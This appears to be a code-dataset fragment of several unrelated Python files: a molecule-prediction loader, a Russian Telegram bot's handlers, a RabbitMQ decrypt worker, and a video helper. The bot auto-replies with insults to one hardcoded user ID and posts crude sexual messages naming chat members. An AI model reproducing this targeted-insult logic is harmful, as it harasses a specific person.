(df.loc[i, \"x\"] - df.loc[j, \"x\"]) ** 2 + \\\n (df.loc[i, \"y\"] - df.loc[j, \"y\"]) ** 2 + \\\n (df.loc[i, \"z\"] - df.loc[j, \"z\"]) ** 2\n m = z_x_z / math.sqrt(r_2)\n matrix[i][j] = m\n matrix[j][i] = m\n columb_matrices[molecule] = matrix\n with open(data_path_prefix + \"coulomb_mat.pkl\", 'wb') as f:\n pk.dump(columb_matrices, f, pk.HIGHEST_PROTOCOL)\n def get_molecule_vector(self, molecule):\n df = self.molecule_structures[molecule]\n df = df.drop(columns=['atom'])\n padded_adm = pad(self.distance_matrices[molecule], (num_atoms, num_atoms), (0, 0))\n atom_array = np.pad(df.values, [(0, num_atoms - df.shape[0]), (0, atom_vector_size-df.shape[1])], 'constant', constant_values=(0.0, 0.0))\n return (atom_array, padded_adm)\nclass ExampleGenerator:\n def __init__(self, wrap, training):\n self.wrap = wrap\n self.train_properties = pd.read_csv(data_path_prefix + \"train.csv\").values\n try:\n with open(data_path_prefix + \"val_molecules.pkl\", 'rb') as f:\n self.examples_val = pk.load(f)\n with open(data_path_prefix + \"train_molecules.pkl\", 'rb') as f:\n self.examples_train = pk.load(f)\n except:\n print(\"Recreating test train split\")\n example_list = np.array(range(4658147))\n self.examples_train, self.examples_val = train_test_split \\\n (example_list, test_size=0.2)\n with open(data_path_prefix + \"val_molecules.pkl\", 'wb') as f:\n pk.dump(self.examples_val, f, pk.HIGHEST_PROTOCOL)\n with open(data_path_prefix + \"train_molecules.pkl\", 'wb') as f:\n pk.dump(self.examples_train, f, pk.HIGHEST_PROTOCOL)\n if training:\n self.molecules = self.examples_train\n self.samples = len(self.examples_train)\n if not training:\n self.molecules = self.examples_val\n self.samples = len(self.examples_val)\n self.molecule_buffer = {}\n def get_training_sample(self):\n for i,example in enumerate(self.molecules):\n molecule = self.train_properties[example, 1]\n if molecule in self.molecule_buffer:\n input_vector = self.molecule_buffer[molecule]\n else:\n input_vector = self.wrap.get_molecule_vector(molecule)\n self.molecule_buffer[molecule] = input_vector\n atom_index_0 = self.train_properties[example,2]\n atom_index_1 = self.train_properties[example,3]\n atoms_vector = input_vector[0]\n ad_matrix = input_vector[1]\n atoms_vector[atom_index_0][atom_vector_size - 1] = 100\n atoms_vector[atom_index_1][atom_vector_size - 1] = 100\n output_vector = np.array([self.train_properties[example,5]])\n yield atoms_vector, ad_matrix, output_vector\ndef pad(array, reference_shape, offsets):\n result = np.zeros(reference_shape)\n insertHere = [slice(offsets[dim], offsets[dim] + array.shape[dim]) for dim in range(array.ndim)]\n result[insertHere] = array\n return result\n","repo_name":"neilhazra/KaggleMoleculePrediction","sub_path":"MoleculePrediction/molecule_predictionv3_1.py","file_name":"molecule_predictionv3_1.py","file_ext":"py","file_size_in_byte":7483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28540274844","text":"import aiogram.utils.exceptions\nfrom aiogram import Bot, Dispatcher, executor, types\nfrom aiogram.types import ShippingOption, ShippingQuery, LabeledPrice, PreCheckoutQuery\nfrom aiogram.types.message import ContentType\nimport random, time\nfrom createImage import createImage\nimport sqlite3\nimport asyncio\nfrom messges import *\nimport re\nimport os\n\nfrom aiogram.utils.markdown import hlink\n\nfrom togirBotRelease.togirBotRelease.main import dp\nfrom union import BotDB\nfrom aiogram import types\nfrom main import *\n\nhostname = \"google.com\"\nchannel = '@test'\n\n\ndef get_users_id():\n conn = sqlite3.connect(\"chatId.db\")\n cursor = conn.cursor()\n users = cursor.execute(\"SELECT * FROM `users`\")\n a = users.fetchall()\n conn.commit()\n conn.close()\n return a\n\n\ndef get_chats_id():\n conn = sqlite3.connect(\"chatId.db\")\n cursor = conn.cursor()\n users = cursor.execute(\"SELECT * FROM `chats`\")\n a = users.fetchall()\n conn.commit()\n conn.close()\n return a\n\n\n@dp.message_handler(commands=['start'], commands_prefix='!/.')\nasync def start(message: types.Message):\n if message.chat.type == \"private\":\n if not BotDB.user_exists(message.from_user.id):\n BotDB.add_user(message.from_user.id)\n if message.chat.type == \"group\" or message.chat.type == \"supergroup\":\n if not BotDB.chat_exists(message.chat.id):\n BotDB.add_chat(message.chat.id)\n await message.reply(\"дарова\")\n\n\n@dp.message_handler(commands=['ping'], commands_prefix='!/.')\nasync def start(message: types.Message):\n response = os.system('ping ' + hostname)\n if response == 0:\n text = hostname + ' is up!'\n await message.reply(text)\n else:\n print(hostname + ' is down!')\n text = channel + ' ' + hostname + ' is down!'\n await message.reply(text)\n\n\n@dp.message_handler(commands=['test'], commands_prefix='!/.')\nasync def test(message: types.Message):\n text = hlink('VK', 'https://vk.com')\n await bot.send_message(chat_id=message.chat.id, text=text, parse_mode=\"HTML\")\n # await message.reply(text)\n\n\n@dp.message_handler(content_types=[\"new_chat_members\"])\nasync def say_hello(message: types.Message):\n user_id = str(message.new_chat_members)\n index = user_id.find(\"first_name\")\n try:\n end_index = user_id.index(\"last_name\")\n except:\n end_index = user_id.index(\"language_code\")\n end_index -= 4\n user_id = user_id[(index + 14):end_index]\n await bot.send_message(message.chat.id,\n f\"Привет {user_id}! Для начало работы с ботом напишите команду /start и ознакомьтесь с возможностями бота.\")\n\n\n@dp.message_handler(content_types=[\"left_chat_member\"])\nasync def say_goodbye(message: types.Message):\n await bot.send_message(message.chat.id, \"пока лошпед\")\n\n\n@dp.message_handler(content_types=[\"new_chat_photo\"])\nasync def new_chat_photo(message: types.Message):\n await bot.send_message(message.chat.id, \"что за ава дибильная\")\n\n\n@dp.message_handler(commands=['exit'], commands_prefix='!/.')\nasync def start(message: types.Message):\n await message.reply(\"exit...\")\n os.system(\"exit\")\n\n\n@dp.message_handler(commands=['go'], commands_prefix='!/.')\nasync def buy_process(message: types.Message):\n await message.reply(\"ok\")\n\n\n@dp.message_handler(commands=['getUsers'], commands_prefix='!/.')\nasync def getUsers(message: types.Message):\n if message.from_user.id in admins:\n users = get_users_id()\n await message.reply(f\"Количество пользователей в базе данных: {len(users)}\")\n else:\n await message.reply(\"Вы не админ бота.\")\n\n\n@dp.message_handler(commands=['getChats'], commands_prefix='!/.')\nasync def getUsers(message: types.Message):\n if message.from_user.id in admins:\n chats = get_chats_id()\n await message.reply(f\"Количество чатов в базе данных: {len(chats)}\")\n else:\n await message.reply(\"Вы не админ бота.\")\n\n\n@dp.message_handler(commands=['sendAllChats'], commands_prefix='!/.')\nasync def getUsers(message: types.Message):\n a = message.text.split()\n b = \" \".join(a[1::])\n chats = get_chats_id()\n count = 0\n if message.from_user.id in admins:\n await message.answer(\"Начинаю...\")\n for i in range(len(chats)):\n try:\n await bot.send_message(chats[i][1], text=b)\n count += 1\n except aiogram.utils.exceptions.BotBlocked:\n BotDB.delete_user(chats[i][0])\n except aiogram.utils.exceptions.BotKicked:\n BotDB.delete_user(chats[i][0])\n except aiogram.utils.exceptions.CantInitiateConversation:\n BotDB.delete_user(chats[i][0])\n await message.answer(f\"Всё! Колличество отправленных сообщений: {count}\")\n\n else:\n await message.answer(\"Вы не админ\")\n\n@dp.message_handler(commands=['update'], commands_prefix='!/.')\nasync def sendUpdate(message: types.Message):\n users = get_users_id()\n count = 0\n if message.from_user.id in admins:\n await message.answer(\"Начинаю...\")\n for i in range(len(users)):\n\n try:\n await bot.send_message(users[i][1], text=update)\n count += 1\n except aiogram.utils.exceptions.BotBlocked:\n BotDB.delete_user(users[i][0])\n except aiogram.utils.exceptions.BotKicked:\n BotDB.delete_user(users[i][0])\n except aiogram.utils.exceptions.CantInitiateConversation:\n BotDB.delete_user(users[i][0])\n\n await message.answer(f\"Всё! Колличество отправленных сообщений: {count}\")\n\n else:\n await message.answer(\"Вы не админ\")\n\n@dp.message_handler(commands=['sendAllUsers'], commands_prefix='!/.')\nasync def getUsers(message: types.Message):\n a = message.text.split()\n b = \" \".join(a[1::])\n users = get_users_id()\n count = 0\n if message.from_user.id in admins:\n await message.answer(\"Начинаю...\")\n for i in range(len(users)):\n try:\n await bot.send_message(users[i][1], text=b)\n count += 1\n except aiogram.utils.exceptions.BotBlocked:\n BotDB.delete_user(users[i][0])\n except aiogram.utils.exceptions.BotKicked:\n BotDB.delete_user(users[i][0])\n except aiogram.utils.exceptions.CantInitiateConversation:\n BotDB.delete_user(users[i][0])\n\n await message.answer(f\"Всё! Колличество отправленных сообщений: {count}\")\n\n else:\n await message.answer(\"Вы не админ\")\n\n\n@dp.message_handler(commands=['get'], commands_prefix='!/.')\nasync def getChatId(message: types.Message):\n await message.reply(message.chat.id)\n\n\n\n@dp.message_handler(commands=['send', 'сенд'], commands_prefix='!/.')\nasync def sendChatId(message: types.Message):\n if message.from_user.id in admins:\n try:\n message_temp = message.text.split()\n a = \" \".join(message_temp[2::])\n # await bot.send_message(chat_id=message_temp[1], text=a)\n await bot.send_message(chat_id=message_temp[1], text=a, parse_mode=\"HTML\")\n await message.reply(\"Сообщение отправлено.\")\n except aiogram.utils.exceptions.CantParseEntities as Error:\n text = \"Error \" + str(Error)\n await message.reply(text)\n except aiogram.utils.exceptions.BotBlocked:\n await message.reply(\"Пользователь заблокировал бота\")\n except aiogram.utils.exceptions.CantInitiateConversation:\n await message.reply(\"Невозможно начать чат с пользователем.\")\n except aiogram.utils.exceptions.ChatNotFound:\n await message.reply(\"Чат не найден.\")\n else:\n await message.reply(\"Вы не админ.\")\n\n\n@dp.message_handler(content_types=['text'], text='dick')\nasync def record(message: types.Message):\n variants = [-10, -9, -8, -7, -6, -5, -4, -3, -2, -1, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, \"2X\", \"NULL\"]\n value = random.choice(variants)\n print(value)\n # BotDB.add_record(message.from_user.id, value)\n if value == \"2X\":\n await message.reply(f'Ваш писюн увеличился в 2 раза!\\nТеперь ваш писюн равен: см')\n elif value == \"NUll\":\n await message.reply(f'Ваш писюн обнулился!\\nТеперь ваш писюн равен 0 см')\n elif 1 <= value <= 10:\n await message.reply(f'��аш писюн увеличился на {value}см!\\nТеперь ваш писюн равен: см')\n elif -10 <= value <= -1:\n await message.reply(f'Ваш писюн уменьшился на {value}см!\\nТеперь ваш писюн равен: см')\n\n\n@dp.message_handler(commands=['del', 'удалить', 'дел'], commands_prefix='!/.')\nasync def delMessage(message: types.Message):\n text = message.text.split()\n print(text)\n if message.from_user.id in admins:\n if len(text) == 1:\n if message.chat.type == 'private':\n await message.reply(\"Команда не работает в личных сообщениях с ботом\")\n elif message.chat.type == 'supergroup' or message.chat.type == 'group':\n a = await bot.get_chat_administrators(chat_id=message.chat.id)\n a = str(a)\n b = str(message.from_user.id)\n c = str(message.from_user.username)\n if b in a or c in a:\n try:\n message_id = message.reply_to_message.message_id\n message_user_id = message.message_id\n await bot.delete_message(chat_id=message.chat.id, message_id=message_id)\n await bot.delete_message(chat_id=message.chat.id, message_id=message_user_id)\n except aiogram.utils.exceptions.MessageCantBeDeleted:\n await message.reply(\"Бот не является админом в беседе\")\n except AttributeError:\n await message.reply(\"Неправильный формат команды\\n\"\n \"Ответьте на сообщение которое вы хотите удалить.\")\n else:\n await message.reply(\"Вы не являетесь админом в беседе.\")\n else:\n await message.reply(\"Неправильный формат команды.\")\n else:\n await message.reply(\"Вы не админ\")\n\n\n@dp.message_handler(commands=['snus'], commands_prefix='!/.')\nasync def snus(message: types.Message):\n a = random.choice([0, 1])\n if a == 0:\n await message.reply(\"Ода! Вы попали прямо в рот!\")\n else:\n await message.reply(\"Упс! Ваш снюс упал на пол!\")\n\n\n@dp.message_handler(commands=['call'], commands_prefix='!/.')\nasync def callBot(message: types.Message):\n a = random.choice([0, 1])\n if a == 0:\n await message.reply(\"здраствуйте\")\n else:\n await message.reply(\"досвидание\")\n\n\n@dp.message_handler(commands=['stop'], commands_prefix='!/.')\nasync def notice(message: types.Message):\n if message.from_user.id in admins:\n a = message.text.split()\n b = \"\".join(a[2::])\n data_time = int(a[1])\n await message.reply(f\"Бот остановлен на {data_time} минут\")\n data_time *= 60\n timing = time.time()\n while True:\n if time.time() - timing > data_time:\n timing = time.time()\n await message.reply(b)\n break\n else:\n await message.reply(\"Вы не админ\")\n\n\n@dp.message_handler(commands=['replyTo'], commands_prefix='!/.')\nasync def image(message: types.Message):\n if message.from_user.id in admins:\n try:\n a = message.text.split()\n print(a)\n b = \" \".join(a[3::])\n await bot.send_message(chat_id=a[1], reply_to_message_id=a[2], text=b)\n except IndexError:\n await message.reply(\"Неправильный формат сообщения\")\n except aiogram.utils.exceptions.ChatNotFound:\n await message.reply(\"Чат не найден\")\n except aiogram.utils.exceptions.BadRequest:\n await message.reply(\"Не найдено айди сообщения\")\n\n # await bot.send_message(chat_id=message.chat.id, reply_to_message_id=a[1], text=b)\n\n\n@dp.message_handler(commands=['meme'], commands_prefix='!/.')\nasync def image(message: types.Message):\n if not BotDB.user_exists(message.from_user.id):\n BotDB.add_user(message.from_user.id)\n if not BotDB.user_exists(message.chat.id):\n BotDB.add_user(message.chat.id)\n a = message.text.split()\n if len(a) == 1:\n await message.reply(\"Неправильный формат команды.\")\n else:\n b = \" \".join(a[1::])\n temp = createImage(b)\n if temp:\n temp_image = open(\"jak_memes/last.jpg\", 'rb')\n await bot.send_photo(chat_id=message.chat.id, photo=temp_image)\n if not temp:\n await message.reply(\"Длина сообщения превышает 100 символов!\")\n\n\n@dp.message_handler(commands=['kill'], commands_prefix='!/.')\nasync def image(message: types.Message):\n a = [True, False]\n b = random.choice(a)\n if b:\n await message.reply(\"Лошпед, тебе не повезло\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1QRikJtFxCMVbgdQIpCCJIMjcEZgdQACmBcAAlEHOUuu61__uvQ7NiQE\")\n await bot.kick_chat_member(chat_id=message.chat.id, user_id=message.from_user.id)\n else:\n await message.reply(\"Вам повезло, будьте осторожны в следющий раз!\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE4OVilQm9Qg27gXds8vs3kNMOnY4ujwAC-xkAAuOHWUvkPi9WizrQNyQE\")\n\n\n@dp.message_handler(commands=['len'], commands_prefix='!/.')\nasync def lenOut(message: types.Message):\n b = message.text.split()\n\n a = \" \".join(b[1::])\n c = \"Длина сообщения равна: \" + str(len(a)) + \" символов\"\n await message.reply(c)\n\n\n@dp.message_handler(commands=['list'], commands_prefix='!/.')\nasync def listOut(message: types.Message):\n a = \"Ахмедлы группа - `-1001591824435`\\nШкольная группа - `-1001216883171`\\nШестой группа - `-1001497164843`\"\n await bot.send_message(chat_id=message.chat.id, text=a, parse_mode=\"Markdown\")\n\n\n@dp.message_handler(commands=['help'], commands_prefix='!/.')\nasync def helpOut(message: types.Message):\n if not BotDB.user_exists(message.from_user.id):\n BotDB.add_user(message.from_user.id)\n if not BotDB.user_exists(message.chat.id):\n BotDB.add_user(message.chat.id)\n await message.reply(\"Список команд:\\n\"\n \"/call - позвать бота\\n\"\n \"/snus - кинуть снюс\\n\"\n \"/kill - русская рулетка\\n\"\n \"/meme (текст) - сделать цитату\\n\"\n \"тянка - отправляет рандомную аниме тянку\")\n\n\n@dp.message_handler(commands=['admin'], commands_prefix='!/.')\nasync def helpAdmin(message: types.Message):\n await bot.send_message(chat_id=message.chat.id, text=admin_text, parse_mode=\"HTML\")\n\n\n@dp.message_handler(commands=['type'], commands_prefix='!/.')\nasync def image(message: types.Message):\n if message.from_user.id in admins:\n message_id = message.reply_to_message.message_id\n chat_id = message.chat.id\n text = str(\"`/replyTo \" + str(chat_id) + \" \" + str(message_id) + \"`\")\n await bot.send_message(chat_id=message.from_user.id, text=text, parse_mode=\"Markdown\")\n else:\n await message.reply(\"Вы не админ\")\n\n\n@dp.message_handler(commands=['getId'], commands_prefix='!/.')\nasync def getId(message: types.Message):\n # b = message.text.split()\n text = message.reply_to_message.from_user.id\n await bot.send_message(chat_id=message.chat.id, text=text)\n\n\n@dp.message_handler(commands=['getMessageId'], commands_prefix='!/.')\nasync def getMessageId(message: types.Message):\n a = message.reply_to_message.message_id\n await message.reply(a)\n\n\n@dp.message_handler(commands=['ok'], commands_prefix='!/.')\nasync def kickUser(message: types.Message):\n BotDB.set_status(message.from_user.id, 1)\n await message.reply(\"ok\")\n\n\n@dp.message_handler(commands=['kick'], commands_prefix='!/.')\nasync def kickUser(message: types.Message):\n if message.chat.type == \"private\":\n if not BotDB.user_exists(message.from_user.id):\n BotDB.add_user(message.from_user.id)\n elif message.chat.type == \"group\" or message.chat.type == \"supergroup\":\n if not BotDB.user_exists(message.chat.id):\n BotDB.add_chat(message.chat.id)\n if message.chat.type == 'private':\n await message.reply(\"Команда не работает в личных сообщениях с ботом\")\n elif message.chat.type == 'supergroup' or message.chat.type == 'group':\n a = await bot.get_chat_administrators(chat_id=message.chat.id)\n a = str(a)\n b = str(message.from_user.id)\n c = str(message.from_user.username)\n if b in a or c in a:\n a = message.text.split()\n if len(a) == 1:\n try:\n text = message.reply_to_message.from_user.id\n text_temp = \"Я выебал \" + str(message.reply_to_message.from_user.first_name)\n await bot.kick_chat_member(chat_id=message.chat.id, user_id=text)\n await bot.send_message(chat_id=message.chat.id, text=text_temp)\n except aiogram.utils.exceptions.UserIsAnAdministratorOfTheChat:\n await message.reply(\"Пользователь является админом чата\")\n except aiogram.utils.exceptions.BadRequest:\n await message.reply(\"Неправильный ID пользов��теля\\n\"\n \"Введите сообщение в формате например: /kick 1657303362\\n\"\n \"Или в ответ на сообщения пользователя\")\n\n elif len(a) == 2:\n try:\n await bot.kick_chat_member(chat_id=message.chat.id, user_id=a[1])\n await message.reply(\"ok\")\n\n except aiogram.utils.exceptions.UserIsAnAdministratorOfTheChat:\n await message.reply(\"Пользователь является админом чата\")\n\n except aiogram.utils.exceptions.BadRequest:\n await message.reply(\"Неправильный ID пользователя\\n\"\n \"Введите сообщение в формате например: /kick 1657303362\\n\"\n \"Или в ответ на сообщения пользователя\")\n else:\n await message.reply(\"Неправильный формат команды\")\n else:\n await message.reply(\"Команда ограничена.\\n\"\n \"Вы не админ.\")\n\n\n@dp.message_handler(content_types=['text'])\nasync def reply(message: types.Message):\n if message.chat.type == \"private\":\n if not BotDB.user_exists(message.from_user.id):\n BotDB.add_user(message.from_user.id)\n if message.chat.type == \"group\" or message.chat.type == \"supergroup\":\n if not BotDB.chat_exists(message.chat.id):\n BotDB.add_chat(message.chat.id)\n\n if message.from_user.id == 2055051598:\n answers = ['тебя забыть спросили', 'че ты пиздишь в моем районе', 'заткнись', 'смешно', 'завали',\n 'помолчи да, надоел уже', 'бля, опять он начал...', 'мама неджяди', 'мама неджяди',\n 'إلهي امنحني القوة', 'إلهي امنحني القوة']\n await message.reply(random.choice(answers))\n \n if \"tiktok\" in message.text.lower():\n await message.reply(\"тикток фигня\")\n if \"выебать\" == message.text.lower():\n user1 = hlink(f'{message.from_user.first_name}', f'tg://openmessage?user_id={message.from_user.id}')\n user2 = hlink(f'{message.reply_to_message.from_user.first_name}',\n f'tg://openmessage?user_id={message.reply_to_message.from_user.id}')\n text = \"👉👌 | \" + user1 + \" жестко выебал \" + user2\n await bot.send_message(chat_id=message.chat.id, text=text, parse_mode=\"HTML\")\n if \"лизнуть\" == message.text.lower() or \"отлизать\" == message.text.lower():\n user1 = hlink(f'{message.from_user.first_name}', f'tg://openmessage?user_id={message.from_user.id}')\n user2 = hlink(f'{message.reply_to_message.from_user.first_name}',\n f'tg://openmessage?user_id={message.reply_to_message.from_user.id}')\n text = \"👅 | \" + user1 + \" сделал приятное \" + user2\n await bot.send_message(chat_id=message.chat.id, text=text, parse_mode=\"HTML\")\n if \"тоже\" in message.text or \"так\" in message.text:\n await message.reply(\"да\")\n if \"ахуел\" in message.text.lower():\n await message.reply(\"сам ахуел\")\n if \"привет\" in message.text.lower():\n await message.reply(\"пока\")\n if \"соси\" in message.text.lower():\n # photo = open('files/test.jpg', 'rb')\n lol = message.from_user.first_name, \"отсосал\"\n await message.reply(\"сам соси, лошпед\")\n # await bot.send_photo(chat_id=message.chat.id, photo=photo)\n # await bot.send_message(chat_id=1058211493, text=lol)\n if \"пизда\" in message.text.lower():\n await message.reply(\"пошел нахуй\")\n if \"тянка\" in message.text.lower():\n stickers_temp = [1, 2, 3, 4, 5, 6, 7, 8]\n a = random.choice(stickers_temp)\n if a == 1:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1P5ikJnYxAzwxLz75MO3YJNUrxoAAYEAAtAIAAJsO0Eo_92idGD7k5skBA\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1QABYpCamODbjL73zDbrKyl8rH1Sz2QAAtUIAAJsO0EoFHdOA6VnNqwkBA\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1QJikJrMCFNpGqkyDsHJdAooqani0wAC2ggAAmw7QShhib58AQdUhiQE\")\n elif a == 2:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1hRikQihuA-hQ8u2TY5Ovbr3BcJJ8gAChggAAmw7QShsoXSEQ-70XyQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1hVikQiiWyi_rI9c2xk9gsGcmB46YAACiwgAAmw7QSiTLLqLOvekNyQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1hhikQim_OLh3dM4Kop_CC61-kUOkAACkAgAAmw7QSj6UUxciyQ4jiQE\")\n elif a == 3:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1h5ikQjqz3r1il5CpF-xopiqP__w6wAChQgAAmw7QShyN_sF_NnHsyQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1iBikQjr-GBLAkmPr1e8Ahyf5Mk7PgACiggAAmw7QSjcU1CNpqvlXCQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEE1iJikQjvq5mSAyOzn0rlr5HJiu09rgACjwgAAmw7QSinM7gxksrebCQE\")\n elif a == 4:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFEFirwpkYTEnqPAeuiAcCgaL45BfZwAChwgAAmw7QSjYYj_wwuNp0iQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFEJirwpmj-OnbXxwHnx0Rt_4DAgoMwACjAgAAmw7QShbbjPg5wwtoSQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFEVirwppSK4uJ0HM2Mm5oUetRLkWXgACkQgAAmw7QShfY2k4i9cQ1CQE\")\n elif a == 5:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFEdirwqrys9u1ktODCFvCWX4fj5NdwAClwgAAmw7QSg5pyTVWtqdqiQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFElirwqsjfERizx0pPLpqzHDgP2BxQACnAgAAmw7QSjiZUtyPt9CkyQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFEtirwquJbqf5ZV3LRqNvTgd47e4BwACoQgAAmw7QSgeNLcULbsRfyQE\")\n\n elif a == 6:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFE1irwrtGYfxp-fXr4qb4DH2TJUe4QAClggAAmw7QSjeluO7YVVuRiQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFE9irwruoV5ViKYc1MjuTn-bx6tTnAACmwgAAmw7QSh_AAEBR61Yb60kBA\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFFFirwrwNvlpe2sNsR3-7xkG1FpJegACoAgAAmw7QSgNqhEpbd12SiQE\")\n\n elif a == 7:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFFNirws0gi4YfndsAimSVtWfAm5b6QACwwgAAmw7QShijuBDCkcVsiQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFFRirws2s3jdea-e1Kz_l6n0ZBIcMgACyAgAAmw7QSga2cflqjXThCQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFFdirws6GRO3p7uw1cQxScjGcWW86gACzggAAmw7QShQYbHL-C2YbCQE\")\n elif a == 8:\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFFlirwtlENjpT5bS_Bi49ThSjbj7ngACsQgAAmw7QSi0_L1Bwy7nQSQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFFtirwtnb9rS4OV69JA3Gs6vmjfkMAACtggAAmw7QShwU86pxkIJ5SQE\")\n await bot.send_sticker(chat_id=message.chat.id,\n sticker=r\"CAACAgIAAxkBAAEFFF1irwtrvlnTU8Z4KPF6xlagLzQERwACuwgAAmw7QSjlDWAadDelCCQE\")\n","repo_name":"kawasaji/togirBotRelease","sub_path":"togirBotRelease/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":27418,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"15366704705","text":"#!/usr/bin/env python\n\nfrom os import environ, rename\nfrom datetime import datetime\n# import pika\nfrom pipeline.shared.rabbitmq_conn import get_rabbitmq_conn\nfrom dronelogs.shared.get_uuid_from_string import get_uuid, get_file_from_key\nfrom dronelogs.shared.s3_upload_download import download_file, upload_file\nfrom dronelogs.shared.db_conn import get_db_conn\n\nSTEP_NAME = 'decrypt'\n\ndef decrypt(single_file, uuid):\n print(f'Decrypting {single_file}')\n rename(single_file, f'./{uuid}.csv')\n return True\n\ndef check_dependency(cursor, uuid):\n tablename = environ['PIPILE_NAME']\n query = f\"SELECT * FROM {tablename} \"\n query += \"WHERE uuid = %s \"\n query += \"AND ( \"\n query += f\"NOT decrypt_status \"\n query += \"OR decrypt_status IS NULL);\"\n cursor.execute(query, (uuid,))\n return cursor.fetchone()\n\ndef update_row(cursor, uuid, success=False):\n tablename = environ['PIPILE_NAME']\n sql_str = f\"UPDATE {tablename} \"\n sql_str += \"SET decrypt_status = %s, completed_at = %s \"\n sql_str += \"WHERE uuid = %s;\"\n values = (success, datetime.now(), uuid)\n cursor.execute(sql_str, values)\n\ndef callback(ch, method, properties, body):\n file_name = body.decode(\"utf-8\")\n uuid = get_uuid(file_name)\n print(f\"Step 1: {file_name}\")\n if isinstance(uuid, str):\n print(f\"Step 2: {file_name}\")\n connection = get_db_conn()\n if connection:\n print(f\"Step 3: {file_name}\")\n cursor = connection.cursor()\n dependency_met = check_dependency(cursor, uuid)\n print(dependency_met)\n if dependency_met is None:\n print(f\"Step 4: {file_name}\")\n success = True\n localfile = get_file_from_key(file_name)\n if not download_file(environ['AWS_RAW_S3_BUCKET'], file_name, f'./{localfile}') or\\\n not decrypt(f'./{localfile}', uuid) or\\\n not upload_file(environ['AWS_CLEAN_S3_BUCKET'], f'juanpa-copy/{uuid}.csv', f'./{uuid}.csv'):\n success = False\n update_row(cursor, uuid, success)\n connection.commit()\n # ch.queue_declare(queue='decrypt', durable=True)\n # ch.basic_publish(\n # exchange=environ['PIPILE_NAME'],\n # routing_key=\"decrypt\",\n # body=uuid,\n # properties=pika.BasicProperties(delivery_mode=2)\n # )\n cursor.close()\n connection.close()\n ch.basic_ack(delivery_tag=method.delivery_tag)\n else:\n print(\"Failed\")\n ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True)\n else:\n print(f\"Failed {file_name}\")\n ch.basic_nack(delivery_tag=method.delivery_tag, requeue=False)\n\ndef init():\n connection = get_rabbitmq_conn()\n channel = connection.channel()\n channel.exchange_declare(\n exchange=environ['PIPILE_NAME'],\n exchange_type='direct'\n )\n result = channel.queue_declare(queue='', exclusive=True)\n queue_name = result.method.queue\n channel.queue_bind(\n exchange=environ['PIPILE_NAME'],\n queue=queue_name,\n routing_key=STEP_NAME\n )\n prefetch = int(environ['CONSUMER_PRE_FETCH'])\n channel.basic_qos(prefetch_count=prefetch)\n channel.basic_consume(\n queue=queue_name,\n auto_ack=False, # this is the default behaviour of acknowledgement,\n # we need to send it ourself and we do it through the last line of the callback function\n on_message_callback=callback\n )\n print(' [*] Waiting for messages. To exit press CTRL+C')\n channel.start_consuming()\n\nif __name__ == \"__main__\":\n try:\n init()\n except KeyboardInterrupt:\n print('Bye!')\n","repo_name":"jpmolinamatute/airflow-rabbitmq-demo","sub_path":"pipeline/rabbitmq/decrypt/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13815586213","text":"import glob\nimport os\nimport subprocess\n\nimport cv2\nimport ffmpeg\nimport image_slicer\nfrom PIL import Image\n\n\ndef get_n_frames(video_path):\n cap = cv2.VideoCapture(video_path)\n n_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n return n_frames\n\n\ndef get_resolution(video_path):\n cap = cv2.VideoCapture(video_path)\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n return (width, height)\n\n\ndef get_fps(video_path): \n cap = cv2.VideoCapture(video_path)\n fps = cap.get(cv2.CAP_PROP_FPS)\n return fps\n\n\ndef cut_frames(video_path, output_dir='./cut_frames/', n_frames_cut=-1):\n 